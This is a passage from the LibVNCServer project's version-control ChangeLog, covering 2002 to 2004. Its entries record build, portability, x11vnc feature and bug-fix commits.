configure.ac: fix compilation without jpeg and a certain autoconf 7215 version 7216 7217 2004-04-08 runge <runge> 7218 7219 * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -blackout, -xinerama, -xwarppointer. check cargs. modify configure.ac to pick up -lXinerama 7220 7221 2004-03-24 dscho <dscho> 7222 7223 * examples/pnmshow.c: add support for pgm and pbm (8-bit and 1-bit 7224 grayscale images) 7225 7226 2004-03-22 dscho <dscho> 7227 7228 * ChangeLog, cargs.c, test/Makefile.am, test/cargstest.c: fix 7229 cargs.c: arguments were not correctly purged. 7230 7231 2004-03-15 dscho <dscho> 7232 7233 * ChangeLog, libvncserver-config.in: fix --link for 7234 libvncserver-config 7235 7236 2004-03-11 runge <runge> 7237 7238 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -vncconnect, -connect, -remap, -debug_pointer, and -debug_keyboard add reverse connections, keysym remapping, and debug output option 7239 7240 2004-02-29 dscho <dscho> 7241 7242 * index.html: link to pre.tar.gz, mention valgrind 7243 7244 2004-02-29 dscho <dscho> 7245 7246 * index.html: update on news 7247 7248 2004-02-29 dscho <dscho> 7249 7250 * ChangeLog, rfbregion.c: fixed valgrind warning 7251 7252 2004-02-20 runge <runge> 7253 7254 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -nosel -noprimary -visual. add clipboard/selection handling. add visual option (mostly for testing and workarounds). improve shm cleanup on failures. 7255 7256 2004-02-04 dscho <dscho> 7257 7258 * AUTHORS, ChangeLog, examples/colourmaptest.c, 7259 examples/copyrecttest.c, examples/example.c, examples/simple.c, 7260 examples/simple15.c, examples/vncev.c: make examples g++ 7261 compileable, thanks to Juan Jose Costello 7262 7263 2004-01-30 dscho <dscho> 7264 7265 * ChangeLog, rfbserver.c: memory leaks fixed 7266 7267 2004-01-29 dscho <dscho> 7268 7269 * ChangeLog, Makefile.am, configure.ac, tight.c, zlib.c, zrle.c, 7270 zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, 7271 zrlepalettehelper.c, zrlepalettehelper.h: Honour the check for libz, 7272 libjpeg again 7273 7274 2004-01-21 dscho <dscho> 7275 7276 * ChangeLog, cargs.c, main.c, rfb/rfb.h, rfbserver.c: add 7277 "-progressive height" option to make SendFramebufferUpdate 7278 "preemptive" 7279 7280 2004-01-21 dscho <dscho> 7281 7282 * ChangeLog: update 7283 7284 2004-01-21 dscho <dscho> 7285 7286 * examples/.cvsignore: ignore all test programs 7287 7288 2004-01-21 dscho <dscho> 7289 7290 * examples/Makefile.am, examples/copyrecttest.c: add a simple 7291 example how to use rfbDoCopyRect 7292 7293 2004-01-21 dscho <dscho> 7294 7295 * main.c, rfb/rfb.h: ignore SIGPIPE by default; it is handled via 7296 EPIPE 7297 7298 2004-01-21 dscho <dscho> 7299 7300 * cursor.c: do not send unnecessary updated because of cursor 7301 drawing 7302 7303 2004-01-19 runge <runge> 7304 7305 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: handle mouse button number mismatch improved pointer input handling during drags, etc. somewhat faster copy_tiles() -> copy_tiles() x11vnc options -buttonmap -old_pointer -old_copytile 7306 7307 2004-01-19 dscho <dscho> 7308 7309 * configure.ac: 0.6 is out... version is 0.7pre now 7310 7311 2004-01-19 dscho <dscho> 7312 7313 * vncterm/Makefile.am: inherit CFLAGS 7314 7315 2004-01-19 dscho <dscho> 7316 7317 * vncterm/VNConsole.c: fix usage of non-existent attribute buffer 7318 7319 2004-01-16 dscho <dscho> 7320 7321 * ChangeLog, cargs.c, configure.ac, contrib/Makefile.am, 7322 rfbserver.c, vncauth.c: compile fix for cygwin 7323 7324 2004-01-10 runge <runge> 7325 7326 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -allow, -localhost, -nodragging, -input_skip minimize memory usage under -nofb 7327 7328 2003-12-09 dscho <dscho> 7329 7330 * libvncclient/hextile.c: fix compilation with Mac OSX: preprocessor 7331 can't do recursive macros 7332 7333 2003-12-09 runge <runge> 7334 7335 * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: 7336 x11vnc: XBell events, -nofb, -notruecolor, misc. cleaning 7337 7338 2003-11-27 dscho <dscho> 7339 7340 * index.html: fixed link 7341 7342 2003-11-11 dscho <dscho> 7343 7344 * ChangeLog, contrib/x11vnc.c: -inetd, -noshm and friends added 7345 7346 2003-11-07 dscho <dscho> 7347 7348 * ChangeLog, README.cvs, configure.ac: release 0.6 7349 7350 2003-10-08 dscho <dscho> 7351 7352 * zrle.c: fix gcc 2.x compilation: no C99 7353 7354 2003-09-11 markmc <markmc> 7355 7356 * ChangeLog, Makefile.in, aclocal.m4, bootstrap.sh, 7357 classes/.cvsignore, classes/Makefile.in, config.h.in, configure, 7358 contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh, 7359 libvncclient/Makefile.in, missing, mkinstalldirs, test/.cvsignore, 7360 test/Makefile.in, vncterm/Makefile.in: 2002-09-11 Mark McLoughlin 7361 <mark (a] skynet.ie> * Makefile.in, */Makefile.in, aclocal.m4, bootstrap.sh, config.h.in, configure, depcomp, install-sh, missing, mkinstalldirs, Removed auto-generated files from CVS. 7362 7363 2003-09-11 markmc <markmc> 7364 7365 * ChangeLog, NEWS, rdr/Exception.h, rdr/FdInStream.cxx, 7366 rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, 7367 rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, 7368 rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, 7369 rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, 7370 rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, 7371 rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: 2003-09-11 Mark 7372 McLoughlin <mark (a] skynet.ie> * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, 7373 rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, 7374 rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, 7375 rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, 7376 rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, 7377 rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: remove original C++ ZRLE implementation. Its been ported to C. * NEWS: copy the existing ChangeLog to here and make this a more detailed ChangeLog. 7378 7379 2003-09-08 dscho <dscho> 7380 7381 * AUTHORS, ChangeLog, Makefile.am, Makefile.in, autogen.sh, 7382 classes/Makefile.in, config.h.in, configure, configure.ac, 7383 contrib/Makefile.in, examples/Makefile.in, 7384 libvncclient/Makefile.in, rfb/rfb.h, rfb/rfbproto.h, rfbserver.c, 7385 test/Makefile.in, vncterm/Makefile.in, zrle.c, 7386 zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, 7387 zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: ZRLE no 7388 longer uses C++, but C 7389 7390 2003-08-29 dscho <dscho> 7391 7392 * ChangeLog, Makefile.in, configure, configure.ac, 7393 libvncclient/Makefile.in, test/Makefile.in, vncterm/Makefile.in: 7394 added --disable-cxx flag to configure 7395 7396 2003-08-18 dscho <dscho> 7397 7398 * contrib/x11vnc.c: Karl Runge: 8bpp handling now much better, 7399 single window also, many improvements 7400 7401 2003-08-18 dscho <dscho> 7402 7403 * httpd.c, main.c, rfbserver.c, sockets.c: socklen_t -> size_t 7404 7405 2003-08-18 dscho <dscho> 7406 7407 * Makefile.in, aclocal.m4, classes/Makefile.in, config.h.in, 7408 contrib/Makefile.in, examples/Makefile.in, vncterm/Makefile.in: 7409 using autoconf 1.6 7410 7411 2003-08-09 dscho <dscho> 7412 7413 * README: added Projects section 7414 7415 2003-08-08 dscho <dscho> 7416 7417 * .cvsignore, classes/.cvsignore, libvncclient/.cvsignore, 7418 test/.cvsignore: more files to ignore 7419 7420 2003-08-08 dscho <dscho> 7421 7422 * libvncclient/rfbproto.c, libvncclient/tight.c, 7423 libvncclient/zlib.c, main.c, rfbserver.c: make --without-jpeg, 7424 --without-zlib work 7425 7426 2003-08-08 dscho <dscho> 7427 7428 * AUTHORS, configure, configure.ac: add --without-jpeg, 7429 --without-zlib; repair --without-backchannel, --without-24bpp 7430 7431 2003-08-08 dscho <dscho> 7432 7433 * httpd.c, sockets.c: handle EINTR after select() 7434 7435 2003-08-06 dscho <dscho> 7436 7437 * ChangeLog, auth.c, contrib/x11vnc.c, examples/fontsel.c, 7438 examples/mac.c, httpd.c, main.c, rfb/rfb.h, rfbregion.c, 7439 rfbserver.c, rre.c, sockets.c, translate.c, vncterm/LinuxVNC.c, 7440 vncterm/VNCommand.c, zlib.c: rfbErr introduced 7441 7442 2003-08-03 dscho <dscho> 7443 7444 * rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to 7445 LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary... 7446 7447 2003-08-02 dscho <dscho> 7448 7449 * config.h.in, configure, configure.ac: really check for setsid, not 7450 pgrp 7451 7452 2003-08-02 dscho <dscho> 7453 7454 * main.c: overlooked endian config.h constant 7455 7456 2003-08-02 dscho <dscho> 7457 7458 * config.h.in: required file 7459 7460 2003-08-01 dscho <dscho> 7461 7462 * README, configure, configure.ac: mention NEWS in README, add 7463 checks for fork and setpgrp 7464 7465 2003-07-31 dscho <dscho> 7466 7467 * ChangeLog: credit last two changes to Erik 7468 7469 2003-07-31 dscho <dscho> 7470 7471 * main.c, rfb/rfb.h, sockets.c: rfbLog can be overridden; EINTR on 7472 read/write means just try again 7473 7474 2003-07-30 dscho <dscho> 7475 7476 * Makefile.am, Makefile.in, rfb/rfb.h, rfb/rfbclient.h: add 7477 rfbclient.h to distribution; avoid C++ style comments 7478 7479 2003-07-30 dscho <dscho> 7480 7481 * AUTHORS, ChangeLog, Makefile.in, NEWS, README, acinclude.m4, 7482 aclocal.m4, auth.c, cargs.c, classes/Makefile.in, configure, 7483 configure.ac, contrib/Makefile.in, contrib/x11vnc.c, 7484 contrib/zippy.c, corre.c, cursor.c, cutpaste.c, draw.c, 7485 examples/Makefile.in, examples/example.c, examples/mac.c, 7486 examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, font.c, 7487 hextile.c, httpd.c, libvncclient/Makefile.in, libvncclient/corre.c, 7488 libvncclient/cursor.c, libvncclient/hextile.c, 7489 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, 7490 libvncclient/sockets.c, libvncclient/tight.c, 7491 libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, rfb/rfb.h, 7492 rfb/rfbclient.h, rfb/rfbconfig.h.in, rfb/rfbproto.h, 7493 rfb/rfbregion.h, rfbregion.c, rfbserver.c, rre.c, selbox.c, 7494 sockets.c, stats.c, test/Makefile.in, tight.c, translate.c, 7495 vncauth.c, vncterm/LinuxVNC.c, vncterm/Makefile.in, 7496 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, 7497 zlib.c, zrle.cxx: API change: Bool, KeySym, Pixel get prefix "rfb"; 7498 constants in rfbconfig.h get prefix "LIBVNCSERVER_" 7499 7500 2003-07-29 dscho <dscho> 7501 7502 * cursor.c, libvncclient/client_test.c, libvncclient/rfbproto.c, 7503 libvncclient/vncviewer.c, main.c, rfb/rfb.h, rfb/rfbclient.h, 7504 test/tight-1.c, tight.c: further valgrinding showed leaked mallocs 7505 7506 2003-07-28 dscho <dscho> 7507 7508 * ChangeLog, README.cvs: adapted dox 7509 7510 2003-07-28 dscho <dscho> 7511 7512 * libvncclient/Makefile: is autoconfed now 7513 7514 2003-07-28 dscho <dscho> 7515 7516 * Makefile.am, Makefile.in, aclocal.m4, classes/Makefile.in, 7517 configure, configure.ac, contrib/Makefile.in, contrib/x11vnc.c, 7518 contrib/zippy.c, examples/1instance.c, examples/Makefile.in, 7519 examples/fontsel.c, examples/mac.c, examples/pnmshow.c, 7520 examples/pnmshow24.c, examples/vncev.c, libvncclient/Makefile, 7521 libvncclient/Makefile.am, libvncclient/Makefile.in, 7522 libvncclient/client_test.c, libvncclient/corre.c, 7523 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, 7524 libvncclient/sockets.c, libvncclient/tight.c, 7525 libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, 7526 rdr/FdInStream.cxx, rdr/ZlibOutStream.cxx, rfb/rfb.h, 7527 rfb/rfbclient.h, rfb/rfbconfig.h.in, rfbregion.c, rfbserver.c, 7528 test/Makefile.am, test/Makefile.in, test/tight-1.c, tight.c, 7529 vncterm/LinuxVNC.c, vncterm/Makefile.in, vncterm/VNCommand.c, 7530 vncterm/VNConsole.c, vncterm/example.c: fixed maxRectsPerUpdate with 7531 Tight encoding bug; some autoconfing; stderr should not be used in a 7532 library (use rfbLog instead) 7533 7534 2003-07-28 dscho <dscho> 7535 7536 * test/tight-1.c: first beginnings of automatic tests, thanks to 7537 libvncclient 7538 7539 2003-07-28 dscho <dscho> 7540 7541 * ChangeLog, TODO, main.c, rfb/rfb.h, rfb/rfbregion.h, rfbregion.c, 7542 rfbserver.c, sockets.c, tight.c, vncauth.c: synced with TightVNC and 7543 RealVNC 7544 7545 2003-07-28 dscho <dscho> 7546 7547 * Makefile.am, Makefile.in, examples/Makefile.am, 7548 examples/Makefile.in: debug flags 7549 7550 2003-07-27 dscho <dscho> 7551 7552 * ChangeLog: libvncclient 7553 7554 2003-07-27 dscho <dscho> 7555 7556 * libvncclient/Makefile, libvncclient/corre.c, 7557 libvncclient/cursor.c, libvncclient/hextile.c, 7558 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, 7559 libvncclient/sockets.c, libvncclient/tight.c, 7560 libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h, 7561 vncauth.c: first alpha version of libvncclient 7562 7563 2003-07-27 dscho <dscho> 7564 7565 * rfb/rfb.h, rfb/rfbproto.h, vncauth.c: make vncauth usable also for 7566 upcoming libvncclient 7567 7568 2003-07-25 dscho <dscho> 7569 7570 * ChangeLog, examples/.cvsignore, examples/Makefile.am, 7571 examples/Makefile.in, examples/simple.c, examples/simple15.c, 7572 index.html: Added simple examples 7573 7574 2003-07-11 dscho <dscho> 7575 7576 * rfb/rfbconfig.h, rfb/rfbint.h: these files are generated by 7577 configure 7578 7579 2003-07-11 dscho <dscho> 7580 7581 * ChangeLog, httpd.c: long standing bug in http; was sending .jar 7582 twice 7583 7584 2003-07-10 dscho <dscho> 7585 7586 * INSTALL, Makefile.in, aclocal.m4, classes/Makefile.in, configure, 7587 contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh, 7588 missing, mkinstalldirs, rfb/rfbconfig.h, rfb/rfbconfig.h.in, 7589 rfb/rfbint.h, rfb/stamp-h.in, vncterm/Makefile.in: another try to 7590 make CVS more helpful with configure 7591 7592 2003-07-10 dscho <dscho> 7593 7594 * Makefile.am, classes/Makefile.am, configure.ac: also distribute 7595 classes/ directory 7596 7597 2003-07-10 dscho <dscho> 7598 7599 * cargs.c: fix compile 7600 7601 2003-06-28 dscho <dscho> 7602 7603 * ChangeLog, cargs.c: http options inserted 7604 7605 2003-05-05 dscho <dscho> 7606 7607 * configure.ac: fix am__fastdepCXX for system not having ZLIB 7608 7609 2003-04-03 dscho <dscho> 7610 7611 * contrib/ChangeLog: added ChangeLog for x11vnc 7612 7613 2003-04-03 dscho <dscho> 7614 7615 * contrib/x11vnc.c: new version from Karl! 7616 7617 2003-02-28 dscho <dscho> 7618 7619 * Makefile.am, configure.ac, libvncserver-config.in: let 7620 libvncserver-config behave as expected when called without 7621 installing 7622 7623 2003-02-27 dscho <dscho> 7624 7625 * README.cvs: added some documentation how to compile from CVS 7626 sources 7627 7628 2003-02-21 dscho <dscho> 7629 7630 * rfb/rfb.h: #include <rfb/rfbregion.h> instead of #include 7631 "rfbregion.h" 7632 7633 2003-02-20 dscho <dscho> 7634 7635 * ChangeLog: update ChangeLog 7636 7637 2003-02-20 dscho <dscho> 7638 7639 * index.html: #include <rfb/rfb.h> instead of "rfb.h" 7640 7641 2003-02-20 dscho <dscho> 7642 7643 * contrib/Makefile.am, contrib/x11vnc.c, contrib/zippy.c, 7644 examples/Makefile.am, examples/colourmaptest.c, examples/example.c, 7645 examples/fontsel.c, examples/mac.c, examples/pnmshow.c, 7646 examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, 7647 libvncserver-config.in, vncterm/Makefile.am, vncterm/VNConsole.h: 7648 the correct way to include rfb.h is now "#include <rfb/rfb.h>" 7649 7650 2003-02-19 dscho <dscho> 7651 7652 * index.html: webpage update 7653 7654 2003-02-19 dscho <dscho> 7655 7656 * rfb/.cvsignore: forgotten .cvsignore 7657 7658 2003-02-19 dscho <dscho> 7659 7660 * Makefile.am: fixed header installation into $(prefix)/include/rfb 7661 7662 2003-02-18 dscho <dscho> 7663 7664 * Makefile.am, configure.ac, include/.cvsignore, 7665 include/default8x16.h, include/keysym.h, include/rfb.h, 7666 include/rfbproto.h, include/rfbregion.h, rfb/default8x16.h, 7667 rfb/keysym.h, rfb/rfb.h, rfb/rfbproto.h, rfb/rfbregion.h: moved 7668 include/ to rfb/ 7669 7670 2003-02-18 dscho <dscho> 7671 7672 * sockets.c: fixed a bug when closing a client if no longer 7673 listening for new clients. 7674 7675 2003-02-17 dscho <dscho> 7676 7677 * cursor.c, include/rfb.h: export rfbReverseBytes; undefine VERSION, 7678 because it's too common 7679 7680 2003-02-17 dscho <dscho> 7681 7682 * INSTALL: INSTALL is copied by automake 7683 7684 2003-02-17 dscho <dscho> 7685 7686 * INSTALL: INSTALL was missing 7687 7688 2003-02-16 dscho <dscho> 7689 7690 * configure.ac, libvncserver-config.in: fixed --link option to 7691 libvncserver-config 7692 7693 2003-02-10 dscho <dscho> 7694 7695 * cvs_update_anonymously, include/rfbproto.h: cvs more flexible now; 7696 ZRLE encoding only when HAVE_ZRLE defined 7697 7698 2003-02-10 dscho <dscho> 7699 7700 * ChangeLog, rfbserver.c: really fixed ClientConnectionGone problem 7701 7702 2003-02-10 dscho <dscho> 7703 7704 * vncterm/LinuxVNC.c, vncterm/VNConsole.c: fixed LinuxVNC colours 7705 7706 2003-02-10 dscho <dscho> 7707 7708 * main.c, rfbserver.c: fixed a bug that prevented the first 7709 connection to be closed 7710 7711 2003-02-10 dscho <dscho> 7712 7713 * include/rfb.h: fixed pthread debugging (locks...) 7714 7715 2003-02-10 dscho <dscho> 7716 7717 * contrib/Makefile.am, examples/Makefile.am, vncterm/Makefile.am: 7718 fixed dependecy to libvncserver.a; if the lib is newer, the programs 7719 are relinked 7720 7721 2003-02-10 dscho <dscho> 7722 7723 * go: removed superfluous file 7724 7725 2003-02-10 dscho <dscho> 7726 7727 * examples/.cvsignore, examples/Makefile.am, 7728 examples/colourmaptest.c, vncterm/VNConsole.c: added 7729 colourmapexample; fixed LinuxVNC to show the right colours 7730 7731 2003-02-09 dscho <dscho> 7732 7733 * ChangeLog: vncterm imported, porting issues solved (IRIX, OS X, 7734 Solaris) 7735 7736 2003-02-09 dscho <dscho> 7737 7738 * configure.ac, examples/Makefile.am, examples/mac.c, 7739 vncterm/Makefile.am, vncterm/VNCommand.c: support for OS X is better 7740 now 7741 7742 2003-02-09 dscho <dscho> 7743 7744 * configure.ac, examples/Makefile.am: trying again to support OS X 7745 7746 2003-02-09 dscho <dscho> 7747 7748 * Makefile.am, configure.ac, examples/.cvsignore, 7749 vncterm/.cvsignore, vncterm/ChangeLog, vncterm/LinuxVNC.c, 7750 vncterm/Makefile.am, vncterm/README, vncterm/TODO, 7751 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, 7752 vncterm/example.c, vncterm/vga.h: included vncterm 7753 7754 2003-02-09 dscho <dscho> 7755 7756 * .cvsignore, configure.ac, examples/mac.c, mac.c: moved the 7757 OSXvnc-server to examples; IRIX fixes (not really IRIX, but shows 7758 there) 7759 7760 2003-02-09 dscho <dscho> 7761 7762 * Makefile.am, examples/Makefile.am, examples/regiontest.c, 7763 examples/sratest.c, include/rfbregion.h, main.c, rfbregion.c, 7764 rfbserver.c, sraRegion.c, sraRegion.h, translate.c: renamed 7765 sraRegion to rfbregion and put it in include/; will be installed now 7766 7767 2003-02-09 dscho <dscho> 7768 7769 * ChangeLog: portability changes 7770 7771 2003-02-09 dscho <dscho> 7772 7773 * configure.ac: order of X libraries is not good for IRIX 7774 7775 2003-02-09 dscho <dscho> 7776 7777 * configure.ac, main.c: include order was wrong 7778 7779 2003-02-09 dscho <dscho> 7780 7781 * Makefile.in, configure, contrib/Makefile.in, examples/Makefile.in: 7782 source from CVS always will need a current autoconf/automake 7783 7784 2003-02-09 dscho <dscho> 7785 7786 * Makefile.in, acinclude.m4, configure, contrib/Makefile.in, 7787 examples/Makefile.in: I give up supporting old autoconf/automake; 7788 now require at least 2.52 7789 7790 2003-02-09 dscho <dscho> 7791 7792 * acinclude.m4: more macros included for older autoconf/automake 7793 7794 2003-02-09 dscho <dscho> 7795 7796 * Makefile.am, TODO, acinclude.m4, auth.c, configure.ac, 7797 contrib/x11vnc.c, corre.c, cursor.c, cutpaste.c, hextile.c, 7798 httpd.c, include/.cvsignore, include/rfb.h, include/rfbproto.h, 7799 main.c, rfbserver.c, rre.c, sockets.c, sraRegion.c, stats.c, 7800 tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c, 7801 tabletrans24template.c, tabletranstemplate.c, tight.c, translate.c, 7802 vncauth.c, zlib.c, zrle.cxx: converted CARD{8,16,32} to 7803 uint{8,16,32}_t and included support for stdint.h 7804 7805 2003-02-09 dscho <dscho> 7806 7807 * .cvsignore: ignore libvncserver-config 7808 7809 2003-02-09 dscho <dscho> 7810 7811 * configure.ac, include/rfb.h, main.c: bigendian is now determined 7812 at configure time 7813 7814 2003-02-09 dscho <dscho> 7815 7816 * index.html: added website 7817 7818 2003-02-09 dscho <dscho> 7819 7820 * Makefile.am, configure.ac: small adjustments for autoconf/automake 7821 compatibility 7822 7823 2003-02-09 dscho <dscho> 7824 7825 * Makefile.am, configure.ac, contrib/Makefile.am, 7826 examples/Makefile.am, examples/vncev.c, libvncserver-config.in, 7827 libvncserver.spec.in: make dist fixed; make rpm introduced 7828 7829 2003-02-08 dscho <dscho> 7830 7831 * .cvsignore, Makefile, bootstrap.sh, contrib/.cvsignore, 7832 contrib/Makefile, examples/.cvsignore, examples/Makefile: removed 7833 Makefiles; these are generated now 7834 7835 2003-02-08 dscho <dscho> 7836 7837 * .cvsignore, contrib/.cvsignore, examples/.cvsignore, 7838 libvncserver.spec.in: ignore generated files 7839 7840 2003-02-08 dscho <dscho> 7841 7842 * contrib/.cvsignore, examples/.cvsignore, examples/blooptest.c, 7843 examples/sratest.c, include/.cvsignore: missing files 7844 7845 2003-02-08 dscho <dscho> 7846 7847 * AUTHORS, CHANGES, ChangeLog, NEWS, TODO: further autoconf'ing 7848 7849 2003-02-08 dscho <dscho> 7850 7851 * Makefile, Makefile.am, TODO, bootstrap.sh, configure.ac, 7852 contrib/Makefile, contrib/Makefile.am, examples/Makefile, 7853 examples/Makefile.am, examples/example.c, include/rfb.h, 7854 include/rfbproto.h, main.c, rfbserver.c, sockets.c, tight.c, 7855 zlib.c, zrle.cc, zrle.cxx: autoconf'ed everything 7856 7857 2003-02-07 dscho <dscho> 7858 7859 * examples/.cvsignore, examples/radon.h: added files 7860 7861 2003-02-07 dscho <dscho> 7862 7863 * cvs_update_anonymously, examples/Makefile: added Makefile in 7864 examples; "export" in cvs_update_anonymously 7865 7866 2003-02-07 dscho <dscho> 7867 7868 * 1instance.c, Makefile, contrib/Makefile, contrib/zippy.c, 7869 default8x16.h, examples/1instance.c, examples/pnmshow24.c, 7870 include/default8x16.h, include/keysym.h, include/rfb.h, 7871 include/rfbproto.h, keysym.h, main.c, radon.h, rfb.h, rfbproto.h: 7872 moved files to include; moved a file to examples/ 7873 7874 2003-02-07 dscho <dscho> 7875 7876 * CHANGES, example.c, example.dsp, examples/example.c, 7877 examples/example.dsp, examples/fontsel.c, examples/pnmshow.c, 7878 examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, 7879 fontsel.c, pnmshow.c, pnmshow24.c, storepasswd.c, vncev.c: moved 7880 files to contrib/ and examples/ 7881 7882 2002-12-30 dscho <dscho> 7883 7884 * CHANGES, cargs.c: fixed cargs (segmentation fault!) 7885 7886 2002-12-25 dscho <dscho> 7887 7888 * contrib/x11vnc.c: strange, but standard X11 behaviour from Sun 7889 keymappings... 7890 7891 2002-12-20 dscho <dscho> 7892 7893 * contrib/x11vnc.c: include commented debug functionality 7894 7895 2002-12-20 dscho <dscho> 7896 7897 * contrib/x11vnc.c: AltGr fixes in x11vnc, renamed from altgr to 7898 modtweak 7899 7900 2002-12-20 dscho <dscho> 7901 7902 * Makefile: fixed compilation for zippy 7903 7904 2002-12-20 dscho <dscho> 7905 7906 * contrib/Makefile: Makefile for contrib 7907 7908 2002-12-19 dscho <dscho> 7909 7910 * contrib/x11vnc.c, contrib/zippy.c: new version of x11vnc from Karl 7911 Runge 7912 7913 2002-12-15 dscho <dscho> 7914 7915 * contrib/x11vnc.c: small fixes: in X11/Xlib.h Bool is int (Karl 7916 Runge); indexed colour support 7917 7918 2002-12-15 dscho <dscho> 7919 7920 * Makefile, rfbserver.c: fix: if no CXX is defined, really don't use 7921 zrle (Karl Runge) 7922 7923 2002-12-06 dscho <dscho> 7924 7925 * CHANGES, Makefile, contrib/x11vnc.c, contrib/zippy.c, httpd.c, 7926 main.c, rfb.h, x11vnc.c, zippy.c: compiler warnings, contrib 7927 directory, new x11vnc from Karl Runge 7928 7929 2002-10-29 dscho <dscho> 7930 7931 * CHANGES, main.c, rfbserver.c: fixed severe bug with sending 7932 fbupdates 7933 7934 2002-10-29 dscho <dscho> 7935 7936 * CHANGES, README, cursor.c, main.c, rfb.h, rfbproto.h, 7937 rfbserver.c, stats.c: patch from Const for CursorPosUpdate encoding 7938 7939 2002-10-22 dscho <dscho> 7940 7941 * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, 7942 rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h, 7943 rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h, 7944 rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h, 7945 rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h, 7946 rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h: rdr 7947 7948 2002-10-22 dscho <dscho> 7949 7950 * Makefile, corre.c, cvs_update_anonymously, httpd.c, main.c, 7951 rfb.h, rfbproto.h, rfbserver.c, stats.c, zrle.cc, zrleDecode.h, 7952 zrleEncode.h: updated to vnc-3.3.4 (ZRLE encoding) 7953 7954 2002-08-31 dscho <dscho> 7955 7956 * x11vnc.c: patch for IRIX 7957 7958 2002-08-31 dscho <dscho> 7959 7960 * cvs_update_anonymously, httpd.c, rfbserver.c, vncauth.c: socket 7961 via proxy gets options set, compiler warning fixes 7962 7963 2002-08-31 dscho <dscho> 7964 7965 * Makefile, cvs_update_anonymously, httpd.c, mac.c, pnmshow24.c, 7966 vncev.c, x11vnc.c, zippy.c: compiler warnings and format 7967 vulnerabilities fixed 7968 7969 2002-08-27 dscho <dscho> 7970 7971 * Makefile, httpd.c: IRIX changes 7972 7973 2002-08-22 dscho <dscho> 7974 7975 * CHANGES: changes 7976 7977 2002-08-22 dscho <dscho> 7978 7979 * classes/javaviewer.pseudo_proxy.patch, example.c, httpd.c, 7980 main.c, rfb.h: a pseudo HTTP request for tunnelling (also via strict 7981 Web Proxy) was added. 7982 7983 2002-08-22 dscho <dscho> 7984 7985 * classes/index.vnc, httpd.c, vncauth.c: synchronized with tightVNC 7986 1.2.5 7987 7988 2002-08-19 dscho <dscho> 7989 7990 * Makefile, auth.c, cursor.c, example.c, httpd.c, main.c, 7991 pnmshow.c, rfb.h, rfbserver.c, sraRegion.c, sraRegion.h, tight.c, 7992 vncauth.c: unwarn compilation 7993 7994 2002-07-28 dscho <dscho> 7995 7996 * CHANGES, README: prepare for version 0.4 7997 7998 2002-07-28 dscho <dscho> 7999 8000 * CHANGES, classes/index.vnc, example.c, httpd.c, main.c, rfb.h, 8001 rfbproto.h, rfbserver.c, stats.c: NewFB encoding added 8002 8003 2002-06-13 dscho <dscho> 8004 8005 * main.c, rfbserver.c, sockets.c: pthread fix 8006 8007 2002-05-03 dscho <dscho> 8008 8009 * Makefile, rfb.h: solaris fixes (INADDR_NONE) 8010 8011 2002-05-02 dscho <dscho> 8012 8013 * selbox.c: index was shadowed 8014 8015 2002-05-02 dscho <dscho> 8016 8017 * cursor.c, font.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c, 8018 sraRegion.c, stats.c, tableinit24.c, tight.c, translate.c: Tim's 8019 Changes 8020 8021 2002-04-30 dscho <dscho> 8022 8023 * cargs.c, rfb.h: command line handling 8024 8025 2002-04-30 dscho <dscho> 8026 8027 * Makefile, mac.c: more mac 8028 8029 2002-04-30 dscho <dscho> 8030 8031 * mac.c: dimming for mac 8032 8033 2002-04-30 dscho <dscho> 8034 8035 * mac.c: Mac compile fix 8036 8037 2002-04-25 dscho <dscho> 8038 8039 * Makefile, x11vnc.c: x11vnc memleaks patched 8040 8041 2002-04-25 dscho <dscho> 8042 8043 * CHANGES, cursor.c, example.c, main.c, rfbserver.c: memleaks 8044 patched 8045 8046 2002-04-25 dscho <dscho> 